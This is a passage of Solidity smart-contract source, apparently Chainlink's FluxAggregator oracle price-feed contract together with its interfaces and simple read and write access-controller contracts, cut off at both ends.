return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint64 a, uint64 b) internal pure returns (uint64) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
interface AggregatorInterface {
function latestAnswer() external view returns (int256);
function latestTimestamp() external view returns (uint256);
function latestRound() external view returns (uint256);
function getAnswer(uint256 roundId) external view returns (int256);
function getTimestamp(uint256 roundId) external view returns (uint256);
event AnswerUpdated(int256 indexed current, uint256 indexed roundId, uint256 updatedAt);
event NewRound(uint256 indexed roundId, address indexed startedBy, uint256 startedAt);
}
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
interface AggregatorV2V3Interface is AggregatorInterface, AggregatorV3Interface
{
}
interface AggregatorValidatorInterface {
function validate(
uint256 previousRoundId,
int256 previousAnswer,
uint256 currentRoundId,
int256 currentAnswer
) external returns (bool);
}
interface LinkTokenInterface {
function allowance(address owner, address spender) external view returns (uint256 remaining);
function approve(address spender, uint256 value) external returns (bool success);
function balanceOf(address owner) external view returns (uint256 balance);
function decimals() external view returns (uint8 decimalPlaces);
function decreaseApproval(address spender, uint256 addedValue) external returns (bool success);
function increaseApproval(address spender, uint256 subtractedValue) external;
function name() external view returns (string memory tokenName);
function symbol() external view returns (string memory tokenSymbol);
function totalSupply() external view returns (uint256 totalTokensIssued);
function transfer(address to, uint256 value) external returns (bool success);
function transferAndCall(address to, uint256 value, bytes calldata data) external returns (bool success);
function transferFrom(address from, address to, uint256 value) external returns (bool success);
}
/**
* @title The Prepaid Aggregator contract
* @notice Handles aggregating data pushed in from off-chain, and unlocks
* payment for oracles as they report. Oracles' submissions are gathered in
* rounds, with each round aggregating the submissions for each oracle into a
* single answer. The latest aggregated answer is exposed as well as historical
* answers and their updated at timestamp.
*/
contract FluxAggregator is AggregatorV2V3Interface, Owned {
using SafeMath for uint256;
using SafeMath128 for uint128;
using SafeMath64 for uint64;
using SafeMath32 for uint32;
struct Round {
int256 answer;
uint64 startedAt;
uint64 updatedAt;
uint32 answeredInRound;
}
struct RoundDetails {
int256[] submissions;
uint32 maxSubmissions;
uint32 minSubmissions;
uint32 timeout;
uint128 paymentAmount;
}
struct OracleStatus {
uint128 withdrawable;
uint32 startingRound;
uint32 endingRound;
uint32 lastReportedRound;
uint32 lastStartedRound;
int256 latestSubmission;
uint16 index;
address admin;
address pendingAdmin;
}
struct Requester {
bool authorized;
uint32 delay;
uint32 lastStartedRound;
}
struct Funds {
uint128 available;
uint128 allocated;
}
LinkTokenInterface public linkToken;
AggregatorValidatorInterface public validator;
// Round related params
uint128 public paymentAmount;
uint32 public maxSubmissionCount;
uint32 public minSubmissionCount;
uint32 public restartDelay;
uint32 public timeout;
uint8 public override decimals;
string public override description;
int256 immutable public minSubmissionValue;
int256 immutable public maxSubmissionValue;
uint256 constant public override version = 3;
/**
* @notice To ensure owner isn't withdrawing required funds as oracles are
* submitting updates, we enforce that the contract maintains a minimum
* reserve of RESERVE_ROUNDS * oracleCount() LINK earmarked for payment to
* oracles. (Of course, this doesn't prevent the contract from running out of
* funds without the owner's intervention.)
*/
uint256 constant private RESERVE_ROUNDS = 2;
uint256 constant private MAX_ORACLE_COUNT = 77;
uint32 constant private ROUND_MAX = 2**32-1;
uint256 private constant VALIDATOR_GAS_LIMIT = 100000;
// An error specific to the Aggregator V3 Interface, to prevent possible
// confusion around accidentally reading unset values as reported values.
string constant private V3_NO_DATA_ERROR = "No data present";
uint32 private reportingRoundId;
uint32 internal latestRoundId;
mapping(address => OracleStatus) private oracles;
mapping(uint32 => Round) internal rounds;
mapping(uint32 => RoundDetails) internal details;
mapping(address => Requester) internal requesters;
address[] private oracleAddresses;
Funds private recordedFunds;
event AvailableFundsUpdated(
uint256 indexed amount
);
event RoundDetailsUpdated(
uint128 indexed paymentAmount,
uint32 indexed minSubmissionCount,
uint32 indexed maxSubmissionCount,
uint32 restartDelay,
uint32 timeout // measured in seconds
);
event OraclePermissionsUpdated(
address indexed oracle,
bool indexed whitelisted
);
event OracleAdminUpdated(
address indexed oracle,
address indexed newAdmin
);
event OracleAdminUpdateRequested(
address indexed oracle,
address admin,
address newAdmin
);
event SubmissionReceived(
int256 indexed submission,
uint32 indexed round,
address indexed oracle
);
event RequesterPermissionsSet(
address indexed requester,
bool authorized,
uint32 delay
);
event ValidatorUpdated(
address indexed previous,
address indexed current
);
/**
* @notice set up the aggregator with initial configuration
* @param _link The address of the LINK token
* @param _paymentAmount The amount paid of LINK paid to each oracle per submission, in wei (units of 10⁻¹⁸ LINK)
* @param _timeout is the number of seconds after the previous round that are
* allowed to lapse before allowing an oracle to skip an unfinished round
* @param _validator is an optional contract address for validating
* external validation of answers
* @param _minSubmissionValue is an immutable check for a lower bound of what
* submission values are accepted from an oracle
* @param _maxSubmissionValue is an immutable check for an upper bound of what
* submission values are accepted from an oracle
* @param _decimals represents the number of decimals to offset the answer by
* @param _description a short description of what is being reported
*/
constructor(
address _link,
uint128 _paymentAmount,
uint32 _timeout,
address _validator,
int256 _minSubmissionValue,
int256 _maxSubmissionValue,
uint8 _decimals,
string memory _description
) public {
linkToken = LinkTokenInterface(_link);
updateFutureRounds(_paymentAmount, 0, 0, 0, _timeout);
setValidator(_validator);
minSubmissionValue = _minSubmissionValue;
maxSubmissionValue = _maxSubmissionValue;
decimals = _decimals;
description = _description;
rounds[0].updatedAt = uint64(block.timestamp.sub(uint256(_timeout)));
}
/**
* @notice called by oracles when they have witnessed a need to update
* @param _roundId is the ID of the round this submission pertains to
* @param _submission is the updated data that the oracle is submitting
*/
function submit(uint256 _roundId, int256 _submission)
external
{
bytes memory error = validateOracleRound(msg.sender, uint32(_roundId));
require(_submission >= minSubmissionValue, "value below minSubmissionValue");
require(_submission <= maxSubmissionValue, "value above maxSubmissionValue");
require(error.length == 0, string(error));
oracleInitializeNewRound(uint32(_roundId));
recordSubmission(_submission, uint32(_roundId));
(bool updated, int256 newAnswer) = updateRoundAnswer(uint32(_roundId));
payOracle(uint32(_roundId));
deleteRoundDetails(uint32(_roundId));
if (updated) {
validateAnswer(uint32(_roundId), newAnswer);
}
}
/**
* @notice called by the owner to remove and add new oracles as well as
* update the round related parameters that pertain to total oracle count
* @param _removed is the list of addresses for the new Oracles being removed
* @param _added is the list of addresses for the new Oracles being added
* @param _addedAdmins is the admin addresses for the new respective _added
* list. Only this address is allowed to access the respective oracle's funds
* @param _minSubmissions is the new minimum submission count for each round
* @param _maxSubmissions is the new maximum submission count for each round
* @param _restartDelay is the number of rounds an Oracle has to wait before
* they can initiate a round
*/
function changeOracles(
address[] calldata _removed,
address[] calldata _added,
address[] calldata _addedAdmins,
uint32 _minSubmissions,
uint32 _maxSubmissions,
uint32 _restartDelay
)
external
onlyOwner()
{
for (uint256 i = 0; i < _removed.length; i++) {
removeOracle(_removed[i]);
}
require(_added.length == _addedAdmins.length, "need same oracle and admin count");
require(uint256(oracleCount()).add(_added.length) <= MAX_ORACLE_COUNT, "max oracles allowed");
for (uint256 i = 0; i < _added.length; i++) {
addOracle(_added[i], _addedAdmins[i]);
}
updateFutureRounds(paymentAmount, _minSubmissions, _maxSubmissions, _restartDelay, timeout);
}
/**
* @notice update the round and payment related parameters for subsequent
* rounds
* @param _paymentAmount is the payment amount for subsequent rounds
* @param _minSubmissions is the new minimum submission count for each round
* @param _maxSubmissions is the new maximum submission count for each round
* @param _restartDelay is the number of rounds an Oracle has to wait before
* they can initiate a round
*/
function updateFutureRounds(
uint128 _paymentAmount,
uint32 _minSubmissions,
uint32 _maxSubmissions,
uint32 _restartDelay,
uint32 _timeout
)
public
onlyOwner()
{
uint32 oracleNum = oracleCount(); // Save on storage reads
require(_maxSubmissions >= _minSubmissions, "max must equal/exceed min");
require(oracleNum >= _maxSubmissions, "max cannot exceed total");
require(oracleNum == 0 || oracleNum > _restartDelay, "delay cannot exceed total");
require(recordedFunds.available >= requiredReserve(_paymentAmount), "insufficient funds for payment");
if (oracleCount() > 0) {
require(_minSubmissions > 0, "min must be greater than 0");
}
paymentAmount = _paymentAmount;
minSubmissionCount = _minSubmissions;
maxSubmissionCount = _maxSubmissions;
restartDelay = _restartDelay;
timeout = _timeout;
emit RoundDetailsUpdated(
paymentAmount,
_minSubmissions,
_maxSubmissions,
_restartDelay,
_timeout
);
}
/**
* @notice the amount of payment yet to be withdrawn by oracles
*/
function allocatedFunds()
external
view
returns (uint128)
{
return recordedFunds.allocated;
}
/**
* @notice the amount of future funding available to oracles
*/
function availableFunds()
external
view
returns (uint128)
{
return recordedFunds.available;
}
/**
* @notice recalculate the amount of LINK available for payouts
*/
function updateAvailableFunds()
public
{
Funds memory funds = recordedFunds;
uint256 nowAvailable = linkToken.balanceOf(address(this)).sub(funds.allocated);
if (funds.available != nowAvailable) {
recordedFunds.available = uint128(nowAvailable);
emit AvailableFundsUpdated(nowAvailable);
}
}
/**
* @notice returns the number of oracles
*/
function oracleCount() public view returns (uint8) {
return uint8(oracleAddresses.length);
}
/**
* @notice returns an array of addresses containing the oracles on contract
*/
function getOracles() external view returns (address[] memory) {
return oracleAddresses;
}
/**
* @notice get the most recently reported answer
*
* @dev #[deprecated] Use latestRoundData instead. This does not error if no
* answer has been reached, it will simply return 0. Either wait to point to
* an already answered Aggregator or use the recommended latestRoundData
* instead which includes better verification information.
*/
function latestAnswer()
public
view
virtual
override
returns (int256)
{
return rounds[latestRoundId].answer;
}
/**
* @notice get the most recent updated at timestamp
*
* @dev #[deprecated] Use latestRoundData instead. This does not error if no
* answer has been reached, it will simply return 0. Either wait to point to
* an already answered Aggregator or use the recommended latestRoundData
* instead which includes better verification information.
*/
function latestTimestamp()
public
view
virtual
override
returns (uint256)
{
return rounds[latestRoundId].updatedAt;
}
/**
* @notice get the ID of the last updated round
*
* @dev #[deprecated] Use latestRoundData instead. This does not error if no
* answer has been reached, it will simply return 0. Either wait to point to
* an already answered Aggregator or use the recommended latestRoundData
* instead which includes better verification information.
*/
function latestRound()
public
view
virtual
override
returns (uint256)
{
return latestRoundId;
}
/**
* @notice get past rounds answers
* @param _roundId the round number to retrieve the answer for
*
* @dev #[deprecated] Use getRoundData instead. This does not error if no
* answer has been reached, it will simply return 0. Either wait to point to
* an already answered Aggregator or use the recommended getRoundData
* instead which includes better verification information.
*/
function getAnswer(uint256 _roundId)
public
view
virtual
override
returns (int256)
{
if (validRoundId(_roundId)) {
return rounds[uint32(_roundId)].answer;
}
return 0;
}
/**
* @notice get timestamp when an answer was last updated
* @param _roundId the round number to retrieve the updated timestamp for
*
* @dev #[deprecated] Use getRoundData instead. This does not error if no
* answer has been reached, it will simply return 0. Either wait to point to
* an already answered Aggregator or use the recommended getRoundData
* instead which includes better verification information.
*/
function getTimestamp(uint256 _roundId)
public
view
virtual
override
returns (uint256)
{
if (validRoundId(_roundId)) {
return rounds[uint32(_roundId)].updatedAt;
}
return 0;
}
/**
* @notice get data about a round. Consumers are encouraged to check
* that they're receiving fresh data by inspecting the updatedAt and
* answeredInRound return values.
* @param _roundId the round ID to retrieve the round data for
* @return roundId is the round ID for which data was retrieved
* @return answer is the answer for the given round
* @return startedAt is the timestamp when the round was started. This is 0
* if the round hasn't been started yet.
* @return updatedAt is the timestamp when the round last was updated (i.e.
* answer was last computed)
* @return answeredInRound is the round ID of the round in which the answer
* was computed. answeredInRound may be smaller than roundId when the round
* timed out. answeredInRound is equal to roundId when the round didn't time out
* and was completed regularly.
* @dev Note that for in-progress rounds (i.e. rounds that haven't yet received
* maxSubmissions) answer and updatedAt may change between queries.
*/
function getRoundData(uint80 _roundId)
public
view
virtual
override
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
)
{
Round memory r = rounds[uint32(_roundId)];
require(r.answeredInRound > 0 && validRoundId(_roundId), V3_NO_DATA_ERROR);
return (
_roundId,
r.answer,
r.startedAt,
r.updatedAt,
r.answeredInRound
);
}
/**
* @notice get data about the latest round. Consumers are encouraged to check
* that they're receiving fresh data by inspecting the updatedAt and
* answeredInRound return values. Consumers are encouraged to
* use this more fully featured method over the "legacy" latestRound/
* latestAnswer/latestTimestamp functions. Consumers are encouraged to check
* that they're receiving fresh data by inspecting the updatedAt and
* answeredInRound return values.
* @return roundId is the round ID for which data was retrieved
* @return answer is the answer for the given round
* @return startedAt is the timestamp when the round was started. This is 0
* if the round hasn't been started yet.
* @return updatedAt is the timestamp when the round last was updated (i.e.
* answer was last computed)
* @return answeredInRound is the round ID of the round in which the answer
* was computed. answeredInRound may be smaller than roundId when the round
* timed out. answeredInRound is equal to roundId when the round didn't time
* out and was completed regularly.
* @dev Note that for in-progress rounds (i.e. rounds that haven't yet
* received maxSubmissions) answer and updatedAt may change between queries.
*/
function latestRoundData()
public
view
virtual
override
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
)
{
return getRoundData(latestRoundId);
}
/**
* @notice query the available amount of LINK for an oracle to withdraw
*/
function withdrawablePayment(address _oracle)
external
view
returns (uint256)
{
return oracles[_oracle].withdrawable;
}
/**
* @notice transfers the oracle's LINK to another address. Can only be called
* by the oracle's admin.
* @param _oracle is the oracle whose LINK is transferred
* @param _recipient is the address to send the LINK to
* @param _amount is the amount of LINK to send
*/
function withdrawPayment(address _oracle, address _recipient, uint256 _amount)
external
{
require(oracles[_oracle].admin == msg.sender, "only callable by admin");
// Safe to downcast _amount because the total amount of LINK is less than 2^128.
uint128 amount = uint128(_amount);
uint128 available = oracles[_oracle].withdrawable;
require(available >= amount, "insufficient withdrawable funds");
oracles[_oracle].withdrawable = available.sub(amount);
recordedFunds.allocated = recordedFunds.allocated.sub(amount);
assert(linkToken.transfer(_recipient, uint256(amount)));
}
/**
* @notice transfers the owner's LINK to another address
* @param _recipient is the address to send the LINK to
* @param _amount is the amount of LINK to send
*/
function withdrawFunds(address _recipient, uint256 _amount)
external
onlyOwner()
{
uint256 available = uint256(recordedFunds.available);
require(available.sub(requiredReserve(paymentAmount)) >= _amount, "insufficient reserve funds");
require(linkToken.transfer(_recipient, _amount), "token transfer failed");
updateAvailableFunds();
}
/**
* @notice get the admin address of an oracle
* @param _oracle is the address of the oracle whose admin is being queried
*/
function getAdmin(address _oracle)
external
view
returns (address)
{
return oracles[_oracle].admin;
}
/**
* @notice transfer the admin address for an oracle
* @param _oracle is the address of the oracle whose admin is being transferred
* @param _newAdmin is the new admin address
*/
function transferAdmin(address _oracle, address _newAdmin)
external
{
require(oracles[_oracle].admin == msg.sender, "only callable by admin");
oracles[_oracle].pendingAdmin = _newAdmin;
emit OracleAdminUpdateRequested(_oracle, msg.sender, _newAdmin);
}
/**
* @notice accept the admin address transfer for an oracle
* @param _oracle is the address of the oracle whose admin is being transferred
*/
function acceptAdmin(address _oracle)
external
{
require(oracles[_oracle].pendingAdmin == msg.sender, "only callable by pending admin");
oracles[_oracle].pendingAdmin = address(0);
oracles[_oracle].admin = msg.sender;
emit OracleAdminUpdated(_oracle, msg.sender);
}
/**
* @notice allows non-oracles to request a new round
*/
function requestNewRound()
external
returns (uint80)
{
require(requesters[msg.sender].authorized, "not authorized requester");
uint32 current = reportingRoundId;
require(rounds[current].updatedAt > 0 || timedOut(current), "prev round must be supersedable");
uint32 newRoundId = current.add(1);
requesterInitializeNewRound(newRoundId);
return newRoundId;
}
/**
* @notice allows the owner to specify new non-oracles to start new rounds
* @param _requester is the address to set permissions for
* @param _authorized is a boolean specifying whether they can start new rounds or not
* @param _delay is the number of rounds the requester must wait before starting another round
*/
function setRequesterPermissions(address _requester, bool _authorized, uint32 _delay)
external
onlyOwner()
{
if (requesters[_requester].authorized == _authorized) return;
if (_authorized) {
requesters[_requester].authorized = _authorized;
requesters[_requester].delay = _delay;
} else {
delete requesters[_requester];
}
emit RequesterPermissionsSet(_requester, _authorized, _delay);
}
/**
* @notice called through LINK's transferAndCall to update available funds
* in the same transaction as the funds were transferred to the aggregator
* @param _data is mostly ignored. It is checked for length, to be sure
* nothing strange is passed in.
*/
function onTokenTransfer(address, uint256, bytes calldata _data)
external
{
require(_data.length == 0, "transfer doesn't accept calldata");
updateAvailableFunds();
}
/**
* @notice a method to provide all current info oracles need. Intended only
* only to be callable by oracles. Not for use by contracts to read state.
* @param _oracle the address to look up information for.
*/
function oracleRoundState(address _oracle, uint32 _queriedRoundId)
external
view
returns (
bool _eligibleToSubmit,
uint32 _roundId,
int256 _latestSubmission,
uint64 _startedAt,
uint64 _timeout,
uint128 _availableFunds,
uint8 _oracleCount,
uint128 _paymentAmount
)
{
require(msg.sender == tx.origin, "off-chain reading only");
if (_queriedRoundId > 0) {
Round storage round = rounds[_queriedRoundId];
RoundDetails storage details = details[_queriedRoundId];
return (
eligibleForSpecificRound(_oracle, _queriedRoundId),
_queriedRoundId,
oracles[_oracle].latestSubmission,
round.startedAt,
details.timeout,
recordedFunds.available,
oracleCount(),
(round.startedAt > 0 ? details.paymentAmount : paymentAmount)
);
} else {
return oracleRoundStateSuggestRound(_oracle);
}
}
/**
* @notice method to update the address which does external data validation.
* @param _newValidator designates the address of the new validation contract.
*/
function setValidator(address _newValidator)
public
onlyOwner()
{
address previous = address(validator);
if (previous != _newValidator) {
validator = AggregatorValidatorInterface(_newValidator);
emit ValidatorUpdated(previous, _newValidator);
}
}
/**
* Private
*/
function initializeNewRound(uint32 _roundId)
private
{
updateTimedOutRoundInfo(_roundId.sub(1));
reportingRoundId = _roundId;
RoundDetails memory nextDetails = RoundDetails(
new int256[](0),
maxSubmissionCount,
minSubmissionCount,
timeout,
paymentAmount
);
details[_roundId] = nextDetails;
rounds[_roundId].startedAt = uint64(block.timestamp);
emit NewRound(_roundId, msg.sender, rounds[_roundId].startedAt);
}
function oracleInitializeNewRound(uint32 _roundId)
private
{
if (!newRound(_roundId)) return;
uint256 lastStarted = oracles[msg.sender].lastStartedRound; // cache storage reads
if (_roundId <= lastStarted + restartDelay && lastStarted != 0) return;
initializeNewRound(_roundId);
oracles[msg.sender].lastStartedRound = _roundId;
}
function requesterInitializeNewRound(uint32 _roundId)
private
{
if (!newRound(_roundId)) return;
uint256 lastStarted = requesters[msg.sender].lastStartedRound; // cache storage reads
require(_roundId > lastStarted + requesters[msg.sender].delay || lastStarted == 0, "must delay requests");
initializeNewRound(_roundId);
requesters[msg.sender].lastStartedRound = _roundId;
}
function updateTimedOutRoundInfo(uint32 _roundId)
private
{
if (!timedOut(_roundId)) return;
uint32 prevId = _roundId.sub(1);
rounds[_roundId].answer = rounds[prevId].answer;
rounds[_roundId].answeredInRound = rounds[prevId].answeredInRound;
rounds[_roundId].updatedAt = uint64(block.timestamp);
delete details[_roundId];
}
function eligibleForSpecificRound(address _oracle, uint32 _queriedRoundId)
private
view
returns (bool _eligible)
{
if (rounds[_queriedRoundId].startedAt > 0) {
return acceptingSubmissions(_queriedRoundId) && validateOracleRound(_oracle, _queriedRoundId).length == 0;
} else {
return delayed(_oracle, _queriedRoundId) && validateOracleRound(_oracle, _queriedRoundId).length == 0;
}
}
function oracleRoundStateSuggestRound(address _oracle)
private
view
returns (
bool _eligibleToSubmit,
uint32 _roundId,
int256 _latestSubmission,
uint64 _startedAt,
uint64 _timeout,
uint128 _availableFunds,
uint8 _oracleCount,
uint128 _paymentAmount
)
{
Round storage round = rounds[0];
OracleStatus storage oracle = oracles[_oracle];
bool shouldSupersede = oracle.lastReportedRound == reportingRoundId || !acceptingSubmissions(reportingRoundId);
// Instead of nudging oracles to submit to the next round, the inclusion of
// the shouldSupersede bool in the if condition pushes them towards
// submitting in a currently open round.
if (supersedable(reportingRoundId) && shouldSupersede) {
_roundId = reportingRoundId.add(1);
round = rounds[_roundId];
_paymentAmount = paymentAmount;
_eligibleToSubmit = delayed(_oracle, _roundId);
} else {
_roundId = reportingRoundId;
round = rounds[_roundId];
_paymentAmount = details[_roundId].paymentAmount;
_eligibleToSubmit = acceptingSubmissions(_roundId);
}
if (validateOracleRound(_oracle, _roundId).length != 0) {
_eligibleToSubmit = false;
}
return (
_eligibleToSubmit,
_roundId,
oracle.latestSubmission,
round.startedAt,
details[_roundId].timeout,
recordedFunds.available,
oracleCount(),
_paymentAmount
);
}
function updateRoundAnswer(uint32 _roundId)
internal
returns (bool, int256)
{
if (details[_roundId].submissions.length < details[_roundId].minSubmissions) {
return (false, 0);
}
int256 newAnswer = Median.calculateInplace(details[_roundId].submissions);
rounds[_roundId].answer = newAnswer;
rounds[_roundId].updatedAt = uint64(block.timestamp);
rounds[_roundId].answeredInRound = _roundId;
latestRoundId = _roundId;
emit AnswerUpdated(newAnswer, _roundId, now);
return (true, newAnswer);
}
function validateAnswer(
uint32 _roundId,
int256 _newAnswer
)
private
{
AggregatorValidatorInterface av = validator; // cache storage reads
if (address(av) == address(0)) return;
uint32 prevRound = _roundId.sub(1);
uint32 prevAnswerRoundId = rounds[prevRound].answeredInRound;
int256 prevRoundAnswer = rounds[prevRound].answer;
// We do not want the validator to ever prevent reporting, so we limit its
// gas usage and catch any errors that may arise.
try av.validate{gas: VALIDATOR_GAS_LIMIT}(
prevAnswerRoundId,
prevRoundAnswer,
_roundId,
_newAnswer
) {} catch {}
}
function payOracle(uint32 _roundId)
private
{
uint128 payment = details[_roundId].paymentAmount;
Funds memory funds = recordedFunds;
funds.available = funds.available.sub(payment);
funds.allocated = funds.allocated.add(payment);
recordedFunds = funds;
oracles[msg.sender].withdrawable = oracles[msg.sender].withdrawable.add(payment);
emit AvailableFundsUpdated(funds.available);
}
function recordSubmission(int256 _submission, uint32 _roundId)
private
{
require(acceptingSubmissions(_roundId), "round not accepting submissions");
details[_roundId].submissions.push(_submission);
oracles[msg.sender].lastReportedRound = _roundId;
oracles[msg.sender].latestSubmission = _submission;
emit SubmissionReceived(_submission, _roundId, msg.sender);
}
function deleteRoundDetails(uint32 _roundId)
private
{
if (details[_roundId].submissions.length < details[_roundId].maxSubmissions) return;
delete details[_roundId];
}
function timedOut(uint32 _roundId)
private
view
returns (bool)
{
uint64 startedAt = rounds[_roundId].startedAt;
uint32 roundTimeout = details[_roundId].timeout;
return startedAt > 0 && roundTimeout > 0 && startedAt.add(roundTimeout) < block.timestamp;
}
function getStartingRound(address _oracle)
private
view
returns (uint32)
{
uint32 currentRound = reportingRoundId;
if (currentRound != 0 && currentRound == oracles[_oracle].endingRound) {
return currentRound;
}
return currentRound.add(1);
}
function previousAndCurrentUnanswered(uint32 _roundId, uint32 _rrId)
private
view
returns (bool)
{
return _roundId.add(1) == _rrId && rounds[_rrId].updatedAt == 0;
}
function requiredReserve(uint256 payment)
private
view
returns (uint256)
{
return payment.mul(oracleCount()).mul(RESERVE_ROUNDS);
}
function addOracle(
address _oracle,
address _admin
)
private
{
require(!oracleEnabled(_oracle), "oracle already enabled");
require(_admin != address(0), "cannot set admin to 0");
require(oracles[_oracle].admin == address(0) || oracles[_oracle].admin == _admin, "owner cannot overwrite admin");
oracles[_oracle].startingRound = getStartingRound(_oracle);
oracles[_oracle].endingRound = ROUND_MAX;
oracles[_oracle].index = uint16(oracleAddresses.length);
oracleAddresses.push(_oracle);
oracles[_oracle].admin = _admin;
emit OraclePermissionsUpdated(_oracle, true);
emit OracleAdminUpdated(_oracle, _admin);
}
function removeOracle(
address _oracle
)
private
{
require(oracleEnabled(_oracle), "oracle not enabled");
oracles[_oracle].endingRound = reportingRoundId.add(1);
address tail = oracleAddresses[uint256(oracleCount()).sub(1)];
uint16 index = oracles[_oracle].index;
oracles[tail].index = index;
delete oracles[_oracle].index;
oracleAddresses[index] = tail;
oracleAddresses.pop();
emit OraclePermissionsUpdated(_oracle, false);
}
function validateOracleRound(address _oracle, uint32 _roundId)
private
view
returns (bytes memory)
{
// cache storage reads
uint32 startingRound = oracles[_oracle].startingRound;
uint32 rrId = reportingRoundId;
if (startingRound == 0) return "not enabled oracle";
if (startingRound > _roundId) return "not yet enabled oracle";
if (oracles[_oracle].endingRound < _roundId) return "no longer allowed oracle";
if (oracles[_oracle].lastReportedRound >= _roundId) return "cannot report on previous rounds";
if (_roundId != rrId && _roundId != rrId.add(1) && !previousAndCurrentUnanswered(_roundId, rrId)) return "invalid round to report";
if (_roundId != 1 && !supersedable(_roundId.sub(1))) return "previous round not supersedable";
}
function supersedable(uint32 _roundId)
private
view
returns (bool)
{
return rounds[_roundId].updatedAt > 0 || timedOut(_roundId);
}
function oracleEnabled(address _oracle)
private
view
returns (bool)
{
return oracles[_oracle].endingRound == ROUND_MAX;
}
function acceptingSubmissions(uint32 _roundId)
private
view
returns (bool)
{
return details[_roundId].maxSubmissions != 0;
}
function delayed(address _oracle, uint32 _roundId)
private
view
returns (bool)
{
uint256 lastStarted = oracles[_oracle].lastStartedRound;
return _roundId > lastStarted + restartDelay || lastStarted == 0;
}
function newRound(uint32 _roundId)
private
view
returns (bool)
{
return _roundId == reportingRoundId.add(1);
}
function validRoundId(uint256 _roundId)
private
view
returns (bool)
{
return _roundId <= ROUND_MAX;
}
}
interface AccessControllerInterface {
function hasAccess(address user, bytes calldata data) external view returns (bool);
}
/**
* @title SimpleWriteAccessController
* @notice Gives access to accounts explicitly added to an access list by the
* controller's owner.
* @dev does not make any special permissions for externally, see
* SimpleReadAccessController for that.
*/
contract SimpleWriteAccessController is AccessControllerInterface, Owned {
bool public checkEnabled;
mapping(address => bool) internal accessList;
event AddedAccess(address user);
event RemovedAccess(address user);
event CheckAccessEnabled();
event CheckAccessDisabled();
constructor()
public
{
checkEnabled = true;
}
/**
* @notice Returns the access of an address
* @param _user The address to query
*/
function hasAccess(
address _user,
bytes memory
)
public
view
virtual
override
returns (bool)
{
return accessList[_user] || !checkEnabled;
}
/**
* @notice Adds an address to the access list
* @param _user The address to add
*/
function addAccess(address _user)
external
onlyOwner()
{
if (!accessList[_user]) {
accessList[_user] = true;
emit AddedAccess(_user);
}
}
/**
* @notice Removes an address from the access list
* @param _user The address to remove
*/
function removeAccess(address _user)
external
onlyOwner()
{
if (accessList[_user]) {
accessList[_user] = false;
emit RemovedAccess(_user);
}
}
/**
* @notice makes the access check enforced
*/
function enableAccessCheck()
external
onlyOwner()
{
if (!checkEnabled) {
checkEnabled = true;
emit CheckAccessEnabled();
}
}
/**
* @notice makes the access check unenforced
*/
function disableAccessCheck()
external
onlyOwner()
{
if (checkEnabled) {
checkEnabled = false;
emit CheckAccessDisabled();
}
}
/**
* @dev reverts if the caller does not have access
*/
modifier checkAccess() {
require(hasAccess(msg.sender, msg.data), "No access");
_;
}
}
/**
* @title SimpleReadAccessController
* @notice Gives access to:
* - any externally owned account (note that offchain actors can always read
* any contract storage regardless of onchain access control measures, so this
* does not weaken the access control while improving usability)
* - accounts explicitly added to an access list
* @dev SimpleReadAccessController is not suitable for access controlling writes
* since it grants any externally owned account access! See
* SimpleWriteAccessController for that.
*/
contract SimpleReadAccessController is SimpleWriteAccessController {
/**
* @notice Returns the access of an address
* @param _user The address to query
*/
function hasAccess(
address _user,
bytes memory _calldata
)
public
view
virtual
override
returns (bool)
{
return super.hasAccess(_user, _calldata) || _user == tx.origin;
}
}
/**
* @title AccessControlled FluxAggregator contract
* @notice This contract requires addresses to be added to a controller
* in order to read the answers stored in the FluxAggregator contract
*/
contract AccessControlledAggregator is FluxAggregator, SimpleReadAccessController {
/**
* @notice set up the aggregator with initial configuration
* @param _link The address of the LINK token
* @param _paymentAmount The amount paid of LINK paid to each oracle per submission, in wei (units of 10⁻¹⁸ LINK)
* @param _timeout is the number of seconds after the previous round that are
* allowed to lapse before allowing an oracle to skip an unfinished round
* @param _validator is an optional contract address for validating
* external validation of answers
* @param _minSubmissionValue is an immutable check for a lower bound of what
* submission values are accepted from an oracle
* @param _maxSubmissionValue is an immutable check for an upper bound of what
* submission values are accepted from an oracle
* @param _decimals represents the number of decimals to offset the answer by
* @param _description a short description of what is being reported
*/
constructor(
address _link,
uint128 _paymentAmount,
uint32 _timeout,
address _validator,
int256 _minSubmissionValue,
int256 _maxSubmissionValue,
uint8 _decimals,
string memory _description
) public FluxAggregator(
_link,
_paymentAmount,
_timeout,
_validator,
_minSubmissionValue,
_maxSubmissionValue,
_decimals,
_description
){}
/**
* @notice get data about a round. Consumers are encouraged to check
* that they're receiving fresh data by inspecting the updatedAt and
* answeredInRound return values.
* @param _roundId the round ID to retrieve the round data for
* @return roundId is the round ID for which data was retrieved
* @return answer is the answer for the given round
* @return startedAt is the timestamp when the round was started. This is 0
* if the round hasn't been started yet.
* @return updatedAt is the timestamp when the round last was updated (i.e.
* answer was last computed)
* @return answeredInRound is the round ID of the round in which the answer
* was computed. answeredInRound may be smaller than roundId when the round
* timed out. answerInRound is equal to roundId when the round didn't time out
* and was completed regularly.
* @dev overridden funcion to add the checkAccess() modifier
* @dev Note that for in-progress rounds (i.e. rounds that haven't yet
* received maxSubmissions) answer and updatedAt may change between queries.
*/
function getRoundData(uint80 _roundId)
public
view
override
checkAccess()
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
)
{
return super.getRoundData(_roundId);
}
/**
* @notice get data about the latest round. Consumers are encouraged to check
